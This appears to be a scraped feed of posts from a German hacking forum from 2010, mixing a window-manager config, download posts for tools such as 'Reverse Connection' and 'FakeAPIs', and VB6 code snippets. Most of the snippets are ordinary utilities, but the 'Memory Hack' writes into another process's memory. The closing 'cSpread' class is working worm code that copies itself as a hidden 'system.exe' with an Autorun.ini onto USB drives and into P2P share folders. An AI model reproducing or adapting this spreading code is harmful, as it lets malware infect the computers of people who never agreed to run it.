    TAGKEYS(                        XK_4,                       3)

    TAGKEYS(                        XK_5,                       4)

    TAGKEYS(                        XK_6,                       5)

    TAGKEYS(                        XK_7,                       6)

    TAGKEYS(                        XK_8,                       7)

    TAGKEYS(                        XK_9,                       8)

    { MODKEY|ShiftMask,             XK_q,      quit,            {0} },

};

/* button definitions */

/* click can be ClkLtSymbol, ClkStatusText, ClkWinTitle, ClkClientWin, or ClkRootWin */

static Button buttons[] = {

    /* click                event mask      button          function        argument */

    { ClkLtSymbol,          0,              Button1,        setlayout,      {0} },

    { ClkLtSymbol,          0,              Button3,        setlayout,      {.v = &layouts[2]} },

    { ClkWinTitle,          0,              Button2,        zoom,           {0} },

    { ClkStatusText,        0,              Button2,        spawn,          {.v = termcmd } },

    { ClkClientWin,         MODKEY,         Button1,        movemouse,      {0} },

    { ClkClientWin,         MODKEY,         Button2,        togglefloating, {0} },

    { ClkClientWin,         MODKEY,         Button3,        resizemouse,    {0} },

    { ClkTagBar,            0,              Button1,        view,           {0} },

    { ClkTagBar,            0,              Button3,        toggleview,     {0} },

    { ClkTagBar,            MODKEY,         Button1,        tag,            {0} },

    { ClkTagBar,            MODKEY,         Button3,        toggletag,      {0} },

};

*/

Man möge mir die Einrückung vergeben (Tabs und Leerzeichen gemischt)

Unnötig (statuscolor patch)

Code:

static const char normbordercolor[] = "#d4d4d4";

static const char normbgcolor[]     = "#d4d4d4";

static const char normfgcolor[]     = "#000000";

static const char selbordercolor[]  = "#1751FF";

static const char selbgcolor[]      = "#5a5a5a";

static const char selfgcolor[]      = "#ffffff";

Dann hf

Acunetix WebVuln Scanner New Build Cracked

Mon, 26 Jul 2010 17:20:07 +0200

EDIT BY GUNNER:

Falls jmd den Schrott noch zur Analyse haben will:

Code:

http://uploaded.to/file/x8yn3y

User banned.
Over & out.

Controlleiste im Design

Mon, 26 Jul 2010 08:21:18 +0200

Ich weiß nicht ob das gewollst ist aber ich meine folgendes:

Ich wäre dafür diese auf width: 100% zu setzen und die Links nicht wie ein klumpen dort zusammen zu quetschen.

[VB6] Reverse Connection

Mon, 26 Jul 2010 07:37:58 +0200

Download:

Reverse Connection.rar (Größe: 4041 / Downloads: 1)

[VB6] FakeAPIs - Richtig nutzen

Mon, 26 Jul 2010 07:35:18 +0200

Download:

FakeAPI.rar (Größe: 2150 / Downloads: 2)

[VB6] Socks5 Server

Mon, 26 Jul 2010 07:31:58 +0200

Download:

Socks 5.zip (Größe: 3986 / Downloads: 4)

[VB6] cInet Klasse (Winsock alternative)

Mon, 26 Jul 2010 07:29:59 +0200

Code:

Option Explicit

Private Const INTERNET_OPEN_TYPE_PRECONFIG As Long = 0

Private Const INTERNET_OPEN_TYPE_DIRECT As Long = 1

Private Const INTERNET_OPEN_TYPE_PROXY As Long = 3

Private Const INTERNET_FLAG_EXISTING_CONNECT = &H20000000

Private Const INTERNET_INVALID_PORT_NUMBER = 0

Private Const INTERNET_SERVICE_FTP = 1

Private Const FTP_TRANSFER_TYPE_BINARY = &H0

Private Const ICU_DECODE As Long = &H10000000

Private Const GENERIC_READ As Long = &H80000000

Public Enum icDataTypes

    icString = 0

    icByteArray = 1

End Enum

Public Enum icAccessTypes

    icDirect = INTERNET_OPEN_TYPE_DIRECT

    icNamedProxy = INTERNET_OPEN_TYPE_PROXY

    icUseDefault = INTERNET_OPEN_TYPE_PRECONFIG

End Enum

Public Enum icProtocols

    icUnknown = 0

    icDefault = 1

    icFTP = 2

    icReserved = 3

    icHTTP = 4

    icHTTPS = 5

End Enum

Private Type URL_COMPONENTS

    dwStructSize As Long

    lpszScheme As String

    dwSchemeLength As Long

    nScheme As Long

    lpszHostName As String

    dwHostNameLength As Long

    nPort As Long

    lpszUserName As String

    dwUserNameLength As Long

    lpszPassword As String

    dwPasswordLength As Long

    lpszUrlPath As String

    dwUrlPathLength As Long

    lpszExtraInfo As String

    dwExtraInfoLength As Long

End Type

Private Declare Sub InternetCanonicalizeUrl Lib "wininet.dll" Alias "InternetCanonicalizeUrlA" (ByVal lpszUrl As String, ByVal lpszBuffer As String, ByRef lpdwBufferLength As Long, ByVal dwFlags As Long)

Private Declare Function InternetOpenUrl Lib "wininet.dll" Alias "InternetOpenUrlA" (ByVal hInternet As Long, ByVal lpszUrl As String, ByVal lpszHeaders As String, ByVal dwHeadersLength As Long, ByVal dwFlags As Long, ByRef dwContext As Long) As Long

Private Declare Function InternetQueryDataAvailable Lib "wininet.dll" (ByVal hFile As Long, ByRef lpdwNumberOfBytesAvailable As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As Boolean

Private Declare Function InternetReadFile Lib "wininet.dll" (ByVal hFile As Long, lpBuffer As Byte, ByVal dwNumberOfBytesToRead As Long, ByRef lpdwNumberOfBytesRead As Long) As Integer

Private Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInternet As Long) As Integer

Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" (ByVal lpszAgent As String, ByVal dwAccessType As Long, ByVal lpszProxy As String, ByVal lpszProxyBypass As String, ByVal dwFlags As Long) As Long

Private Declare Function InternetGetLastResponseInfo Lib "wininet.dll" Alias "InternetGetLastResponseInfoA" (lpdwError As Long, ByVal lpszBuffer As String, lpdwBufferLength As Long) As Long

Private Declare Function InternetCrackUrl Lib "wininet.dll" Alias "InternetCrackUrlA" (ByVal lpszUrl As String, ByVal dwUrlLength As Long, ByVal dwFlags As Long, ByRef lpUrlComponents As URL_COMPONENTS) As Boolean

Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, ByVal sUsername As String, ByVal sPassword As String, ByVal lService As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long

Private Declare Function FtpOpenFile Lib "wininet.dll" Alias "FtpOpenFileA" (ByVal hFTPSession As Long, ByVal sBuff As String, ByVal Access As Long, ByVal Flags As Long, ByVal Context As Long) As Long

Private Declare Function DeleteUrlCacheEntry Lib "wininet.dll" Alias "DeleteUrlCacheEntryA" (ByVal lpszUrlName As String) As Long

Private hInternetSession As Long

Private hFTPSession As Long

Private lResponseCode As Long

Private sResponseInfo As String

Private bBusy As Boolean

Private eProtocol As icProtocols

Private sRemoteHost As String

Private sURL As String

Private bCancel As Boolean

Private hRemoteFile As Long

Public AccessType As icAccessTypes

Public Proxy As String

Public UserName As String

Public Password As String

Public Tag As String

Public RemotePort As Long

Public Event StateChanged(ByVal State As Integer)

'-----------------------------------------------------------

' FUNCTION: OpenURL

'

' Gibt den Inhalt der angebenen URL zurück

'-----------------------------------------------------------

Public Function OpenURL(sURL As String, DataType As icDataTypes) As Variant

    Dim hRemoteFile As Long

    Dim Result As Long, mBuffer As String

    Dim mRead As Long

    Dim lpBuffer As Long

    Dim m_ByteArray() As Byte

    Dim mToCopy As Long

    bBusy = True

    If sURL <> "" Then URL = sURL

    If Connect Then

        lpBuffer = Len(URL)

        If InStr(URL, "://") < 1 Then URL = GetProtocolStr & URL

       DeleteUrlCacheEntry URL

        InternetCanonicalizeUrl URL, URL, lpBuffer, &H10

        URL = Left$(URL, lpBuffer)

        hRemoteFile = InternetOpenUrl(hInternetSession, URL, vbNullString, 0, INTERNET_FLAG_EXISTING_CONNECT, 0)

        InternetQueryDataAvailable hRemoteFile, mToCopy, 0, 0

        If mToCopy = 0 Then bBusy = False: Exit Function

        Do

            ReDim m_ByteArray(mToCopy - 1)

            Result = InternetReadFile(hRemoteFile, m_ByteArray(0), mToCopy, mRead)

            mBuffer = mBuffer & StrConv(m_ByteArray, vbUnicode)

            InternetQueryDataAvailable hRemoteFile, mToCopy, 0, 0

        Loop Until mToCopy = 0 Or bCancel

        InternetCloseHandle hRemoteFile

        Disconnect

        If DataType = icString Then

            OpenURL = mBuffer

        Else

            m_ByteArray = StrConv(mBuffer, vbFromUnicode)

            OpenURL = m_ByteArray

        End If

    End If

    bBusy = False

End Function

'-----------------------------------------------------------

' SUB: Connect

'

' Baut eine Verbindung zum Internet auf

'-----------------------------------------------------------

Public Function Connect() As Boolean

    bCancel = False

    hInternetSession = InternetOpen(App.EXEName, AccessType, Proxy, vbNullString, 0)

    If (hInternetSession = 0) Then Exit Function

    Connect = True

    If Protocol = icFTP Then

        hFTPSession = InternetConnect(hInternetSession, RemoteHost, RemotePort, UserName, Password, INTERNET_SERVICE_FTP, 0, 0)

        If hFTPSession = 0 Then Connect = False

    End If

End Function

'-----------------------------------------------------------

' SUB: Disconnect

'

' Trennt die Verbindung

'-----------------------------------------------------------

Public Sub Disconnect()

    InternetCloseHandle hFTPSession

    InternetCloseHandle hInternetSession

End Sub

'-----------------------------------------------------------

' PROPERTY GET: hInternet

'

' Gibt das Handle der aktuellen Verbindung zurück

'-----------------------------------------------------------

Public Property Get hInternet() As Long

    hInternet = hInternetSession

End Property

'-----------------------------------------------------------

' PROPERTY GET: Object

'

' Gibt die eigene Instanz zurück

'-----------------------------------------------------------

Public Property Get Object() As Object

    Set Object = Me

End Property

Private Sub Class_Initialize()

    AccessType = icDirect

    Protocol = icHTTP

    Proxy = vbNullString

End Sub

Private Function GetProtocolStr() As String

        Select Case Protocol

            Case icFTP

                GetProtocolStr = "ftp://"

            Case icHTTP

                GetProtocolStr = "http://"

            Case icHTTPS

                GetProtocolStr = "https://"

            Case icDefault

                GetProtocolStr = "http://"

        End Select

End Function

Private Sub GetStatus()

    Dim l As Long

    InternetGetLastResponseInfo lResponseCode, vbNullString, l

    If CBool(lResponseCode) Then

        sResponseInfo = String$(l + 1, 0)

        InternetGetLastResponseInfo lResponseCode, sResponseInfo, l

    End If

End Sub

'-----------------------------------------------------------

' PROPERTY GET: ResponseInfo

'

' Gibt die ResponseInfo der letzten Aktion zurück

'-----------------------------------------------------------

Public Property Get ResponseInfo() As String

    GetStatus

    ResponseInfo = sResponseInfo

End Property

'-----------------------------------------------------------

' PROPERTY GET: ResponseCode

'

' Gibt den ResponseCode der letzten Aktion zurück

'-----------------------------------------------------------

Public Property Get ResponseCode() As Long

    GetStatus

    ResponseCode = lResponseCode

End Property

'-----------------------------------------------------------

' PROPERTY GET: StillExecuting

'

' Gibt True zurück, wenn das Control beschäftigt ist

'-----------------------------------------------------------

Public Property Get StillExecuting() As Boolean

    StillExecuting = bBusy

End Property

'-----------------------------------------------------------

' PROPERTY LET: Protocol

'

' Legt das zu verwendene Protokoll fest

'-----------------------------------------------------------

Public Property Let Protocol(mProtocol As icProtocols)

    eProtocol = mProtocol

    Select Case eProtocol

        Case icHTTP

            RemotePort = 80

        Case icFTP

            RemotePort = 21

        Case icUnknown

            RemotePort = INTERNET_INVALID_PORT_NUMBER

    End Select

End Property

'-----------------------------------------------------------

' PROPERTY GET: Protocol

'

' Gibt das verwendete Protokoll zurück

'-----------------------------------------------------------

Public Property Get Protocol() As icProtocols

    Protocol = eProtocol

End Property

'-----------------------------------------------------------

' PROPERTY GET: RemoteHost

'

' Gibt den aktuellen RemoteHost zurück

'-----------------------------------------------------------

Property Get RemoteHost() As String

    RemoteHost = sRemoteHost

End Property

'-----------------------------------------------------------

' PROPERTY LET: RemoteHost

'

' Legt den RemoteHost fest

'-----------------------------------------------------------

Property Let RemoteHost(mRemoteHost As String)

    Dim uC As URL_COMPONENTS

    sRemoteHost = mRemoteHost

    uC.lpszHostName = Space$(255)

    uC.dwHostNameLength = 255

    uC.dwStructSize = LenB(uC)

    InternetCrackUrl URL, 0, ICU_DECODE, uC

    If Trim$(uC.lpszHostName) <> sRemoteHost Then

        URL = sRemoteHost

    End If

End Property

'-----------------------------------------------------------

' PROPERTY GET: URL

'

' Gibt die aktuelle URL zurück

'-----------------------------------------------------------

Property Get URL() As String

    URL = sURL

End Property

'-----------------------------------------------------------

' PROPERTY LET: URL

'

' Legt die URL fest

'-----------------------------------------------------------

Property Let URL(mUrl As String)

    Dim uC As URL_COMPONENTS

    Dim tURL As String

    Password = "": UserName = ""

    sURL = mUrl

    tURL = sURL

    If InStr(tURL, "://") < 1 Then tURL = GetProtocolStr & tURL

    uC.lpszHostName = Space$(255)

    uC.dwHostNameLength = 255

    uC.dwStructSize = LenB(uC)

    InternetCrackUrl tURL, 0, ICU_DECODE, uC

    If Trim$(uC.lpszHostName) <> sRemoteHost Then

        sRemoteHost = Trim$(uC.lpszHostName)

    End If

End Property

Public Sub Cancel()

    Disconnect

    bCancel = True

End Sub

[VB6] Memory Hack

Mon, 26 Jul 2010 07:28:18 +0200

Code:

Public Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hWnd As Long, lpdwProcessId As Long) As Long

Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long

Public Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long

Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal Classname As String, ByVal WindowName As String) As Long

Public Function writemem(title As String, addy As Long, value As Byte)

 Dim hWnd As Long: hWnd = FindWindow(vbNullString, title)

 Dim pid As Long: GetWindowThreadProcessId hWnd, pid

 Dim phandle As Long: phandle = OpenProcess(&H1F0FFF, False, pid)

    WriteProcessMemory phandle, addy, value, 1, 0&

 CloseHandle hProcess

End Function

[VB6] Browse Folder

Mon, 26 Jul 2010 07:25:24 +0200

Code:

Option Explicit

Private Const BIF_RETURNONLYFSDIRS = &H1

Private Const BIF_DONTGOBELOWDOMAIN = &H2

Private Const BIF_STATUSTEXT = &H4

Private Const BIF_RETURNFSANCESTORS = &H8

Private Const BIF_EDITBOX = &H10

Private Const BIF_VALIDATE = &H20

Private Const BIF_BROWSEFORCOMPUTER = &H1000

Private Const BIF_BROWSEFORPRINTER = &H2000

Private Const BIF_BROWSEINCLUDEFILES = &H4000

Private Const MAX_PATH = 260

Private Type T_BROWSEINFO

   HwndOwner      As Long

   pIDLRoot       As Long

   pszDisplayName As Long

   lpszTitle      As Long

   ulFlags        As Long

   lpfnCallback   As Long

   lParam         As Long

   iImage         As Long

End Type

Private Declare Function SHBrowseForFolder Lib "shell32" (lpbi As T_BROWSEINFO) As Long

Private Declare Function SHGetPathFromIDList Lib "shell32" (ByVal pidList As Long, ByVal lpBuffer As String) As Long

Private Declare Function lstrcat Lib "kernel32" Alias "lstrcatA" (ByVal lpString1 As String, ByVal lpString2 As String) As Long

Public Function BrowseFolder(ByVal HwndOwner As Long, _

    ByRef Titre As String) As String

    Dim lpIDList As Long

    Dim sBuffer As String

    Dim BrowseInfo As T_BROWSEINFO

    BrowseFolder = ""

    With BrowseInfo

        .HwndOwner = HwndOwner

        .lpszTitle = lstrcat(Titre, "")

        .ulFlags = BIF_RETURNONLYFSDIRS

    End With

    lpIDList = SHBrowseForFolder(BrowseInfo)

    If (lpIDList) Then

        sBuffer = Space(MAX_PATH)

        SHGetPathFromIDList lpIDList, sBuffer

        sBuffer = Left(sBuffer, InStr(sBuffer, vbNullChar) - 1)

        BrowseFolder = sBuffer

    End If

End Function

[VB6] cMP3 Klasse (Für Musik)

Mon, 26 Jul 2010 07:23:02 +0200

Code:

' ##############################################################

' ## Modul:     cMP3

' ## Coder:     param0re

' ## Release:   26. Juli 2010

' ##############################################################

Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpszCommand As String, ByVal lpszReturnString As String, ByVal cchReturnLength As Long, ByVal hwndCallback As Long) As Long

Private Declare Function GetShortPathName Lib "kernel32" Alias "GetShortPathNameA" (ByVal lpszLongPath As String, ByVal lpszShortPath As String, ByVal cchBuffer As Long) As Long

Private Declare Function waveOutSetVolume Lib "winmm.dll" (ByVal uDeviceID As Long, ByVal dwVolume As Long) As Long

Private Type TagInfo

    Tag As String * 3

    Songname As String * 30

    artist As String * 30

    album As String * 30

    year As String * 4

    comment As String * 30

    genre As String * 1

End Type

Private Type lngVolumeType

    Value As Long

End Type

Private Type intVolumeType

    Left As Integer

    Right As Integer

End Type

Dim FileName As String

Dim CurrentTag As TagInfo

Dim sAlias As String * 5

Private Function GetShortName(sFile As String) As String

  Dim sBuffer As String

  Dim lResult As Long

    sBuffer = Space$(255)

    lResult = GetShortPathName(sFile, sBuffer, Len(sBuffer))

  GetShortName = Left$(sBuffer, InStr(sBuffer, vbNullChar) - 1)

End Function

Private Function FormatMP3Time(ByVal nMSec As Long) As String

  Dim nMin As Integer

  Dim nSec As Integer

  nSec = Int(nMSec / 1000)

  nMin = Int(nSec / 60)

  nSec = nSec - (nMin * 60)

  FormatMP3Time = Format$(nMin, "00") & ":" & Format$(nSec, "00")

End Function

Public Function GetFileName(sFile As String) As String

  GetFileName = Mid$(Split(sFile, "\")(UBound(Split(sFile, "\"))), 1, InStr(1, Split(sFile, "\")(UBound(Split(sFile, "\"))), ".") - 1)

End Function

Public Sub OpenMP3(sFile As String)

  mciSendString "open " & GetShortName(sFile) & " type MPEGVideo alias " & sAlias, 0, 0, 0

End Sub

Public Sub PlayMP3()

  mciSendString "play " & sAlias & " from 0", 0, 0, 0

End Sub

Public Sub StopMP3()

  mciSendString "stop " & sAlias, 0, 0, 0

End Sub

Public Sub CloseMP3()

  mciSendString "close " & sAlias, 0, 0, 0

End Sub

Public Sub PauseMP3()

  mciSendString "pause " & sAlias, 0, 0, 0

End Sub

Public Sub ResumeMP3()

  mciSendString "resume " & sAlias, 0, 0, 0

End Sub

Public Function GetMP3LenUF() As String

  Dim sBuffer As String * 255

  mciSendString "status " & sAlias & " length", sBuffer, Len(sBuffer), 0

  GetMP3LenUF = Val(Trim(sBuffer))

End Function

Public Function GetMP3Len() As String

  Dim sBuffer As String * 255

  mciSendString "status " & sAlias & " length", sBuffer, Len(sBuffer), 0

  GetMP3Len = FormatMP3Time(Val(Trim(sBuffer)))

End Function

Public Function GetMP3Pos() As String

  Dim sBuffer As String * 255

  On Error Resume Next

  mciSendString "status " & sAlias & " position", sBuffer, Len(sBuffer), 0

  GetMP3Pos = FormatMP3Time(Val(Trim(sBuffer)))

End Function

Private Function SignedInteger(ByVal UnsignedInteger As Long) As Integer

    UnsignedInteger = UnsignedInteger And 65535

    If (UnsignedInteger And 32768) Then

        SignedInteger = UnsignedInteger - 65536

    Else

        SignedInteger = UnsignedInteger

    End If

End Function

Public Sub SetMP3Vol(lVol As Long)

    Dim intVol As intVolumeType

    Dim lngVol As lngVolumeType

    intVol.Left = SignedInteger(lVol * 6.5535)

    intVol.Right = SignedInteger(lVol * 6.5535)

    LSet lngVol = intVol

    Call waveOutSetVolume(0, lngVol.Value)

End Sub

Public Function mciGetOpenFile() As String

  Dim sBuffer As String * 255

  On Error Resume Next

  mciSendString "info " & sAlias & " file", sBuffer, Len(sBuffer), 0

  mciGetOpenFile = Left$(sBuffer, InStr(sBuffer, vbNullChar) - 1)

End Function

Public Sub SetMP3VolState(ByVal bMute As Boolean)

  If bMute Then

     mciSendString "set " & sAlias & " audio all off", 0, 0, 0

  Else

     mciSendString "set " & sAlias & " audio all on", 0, 0, 0

  End If

End Sub

Private Sub Class_Initialize()

  sAlias = App.ThreadID

End Sub

[VB6] cSpread Klasse

Mon, 26 Jul 2010 07:20:08 +0200

Code:

Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long

Private Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long

Private Declare Function GetLogicalDriveStrings Lib "kernel32" Alias "GetLogicalDriveStringsA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long

Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long

Private Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long

Const E1            As String = "AppData"

Const E2            As String = "ProgramFiles"

Const E3            As String = "Temp"

Const EAuto         As String = "Autorun.ini"

Dim vRegKeys(5)     As Variant

Dim vDirKeys(4)     As Variant

Private Sub Class_Initialize()

    vRegKeys(1) = "HKEY_CURRENT_USER\Software\Ares\Download.Folder"

    vRegKeys(2) = "HKEY_CURRENT_USER\Software\BearShare\General\DownloadDir"

    vRegKeys(3) = "HKEY_CURRENT_USER\Software\Kazaa\LocalContent\DownloadDir"

    vRegKeys(4) = "HKEY_CURRENT_USER\Software\Lphant\General\DownloadDir"

    vRegKeys(5) = "HKEY_CURRENT_USER\Software\Shareaza\Shareaza\Downloads\CompletePath"

    vDirKeys(1) = Array(Environ$(E1) & "\FrostWire\frostwire.props", "DIRECTORY_FOR_SAVING_FILES=", vbNewLine)

    vDirKeys(2) = Array(Environ$(E2) & "\eMule\config\preferences.ini", "IncomingDir=", vbNewLine)

    vDirKeys(3) = Array(Environ$(E2) & "\BitComet\BitComet.xml", "", "")

    vDirKeys(4) = Array(Environ$(E1) & "\LimeWire\limewire.props", "DIRECTORY_FOR_SAVING_FILES=", vbNewLine)

End Sub

Private Function DirExist(sPath As String) As Boolean

    If Trim(sPath) = vbNullString Then Exit Function

    If Dir(sPath, vbDirectory) <> vbNullString Then DirExist = True

End Function

Private Function RegExist(sPath As String) As Boolean

On Error GoTo Err

  Dim ws As Object

  Set ws = CreateObject("WScript.Shell")

  sPath = ws.RegRead(Path)

  RegExist = True

Err:

End Function

Private Function GetAppFilename() As String

    Dim hModule As Long

    Dim buffer As String * 256

    hModule = GetModuleHandle(App.EXEName)

    GetModuleFileName hModule, buffer, Len(buffer)

    GetAppFilename = Left$(buffer, InStr(buffer & vbNullChar, vbNullChar) - 1)

End Function

Private Function FileExist(sFile As String) As Boolean

    If Trim(sFile) = vbNullString Then Exit Function

    If Dir(sFile, vbNormal) <> vbNullString Then FileExist = True

End Function

Private Function BuildPath(sPath As String) As String

    If Right$(sPath, 1) <> Chr$(92) Then BuildPath = sPath & Chr$(92)

End Function

Private Function RegRead(Path As String) As String

On Error Resume Next

  Dim ws As Object

  Set ws = CreateObject("WScript.Shell")

  RegRead = ws.RegRead(Path)

End Function

Private Sub FileCopyTo(sPath As String)

    FileCopy GetAppFilename(), BuildPath(sPath) & GetRandomName

End Sub

Private Function GetRandomName() As String

    GetRandomName = "system.exe"

End Function

Private Function ReadFile(sFile As String) As String

    Open sFile For Binary As #1

        ReadFile = Space(FileLen(sFile))

        Get #1, , ReadFile

    Close #1

End Function

Private Function GetBetween(sText As String, sD1 As String, sD2 As String) As String

    GetBetween = Split(Split(sText, sD1)(1), sD2)(0)

End Function

Private Sub SpreadUSB()

 Dim sBuffer As String * 256

 Dim iGet As Integer

 Dim sCur() As String

  iGet = GetLogicalDriveStrings(256, sBuffer)

  sBuffer = Mid$(sBuffer, 1, InStr(1, sBuffer, String$(2, Chr(0))))

  sCur() = Split(sBuffer, Chr(0))

    If iGet <> 0 Then

        For i = 0 To UBound(sCur) - 1

            If GetDriveType(sCur(i)) = 2 Then

                FileCopyTo sCur(i)

                WritePrivateProfileString "Autorun", "Open", GetRandomName(), sCur(i) & EAuto

                    SetAttr sCur(i) & GetRandomName, vbHidden

                    SetAttr sCur(i) & EAuto, vbHidden

            End If

        Next i

    End If

End Sub

Private Sub SpreadP2P()

 Dim sCur As String

 Dim sPath As String

 Dim sDeli1 As String

 Dim sDeli2 As String

    For i = 1 To UBound(vRegKeys)

        sCur = vRegKeys(i)

        sPath = RegRead(sCur)

            If DirExist(sPath) = True Then

                FileCopyTo sPath

            End If

    Next i

    For i = 1 To UBound(vDirKeys)

        sCur = vDirKeys(i)(0)

        sDeli1 = vDirKeys(i)(1)

        sDeli2 = vDirKeys(i)(2)

            If FileExist(sCur) = True Then

                sPath = GetBetween(ReadFile(sCur), sDeli1, sDeli2)

                FileCopyTo sPath

            End If

    Next i

End Sub

Public Sub SpreadServer(bSpreadUSB As Boolean, bSpreadP2P As Boolean)

    If bSpreadP2P = True Then: Call SpreadP2P

    If bSpreadUSB = True Then: Call SpreadUSB

End Sub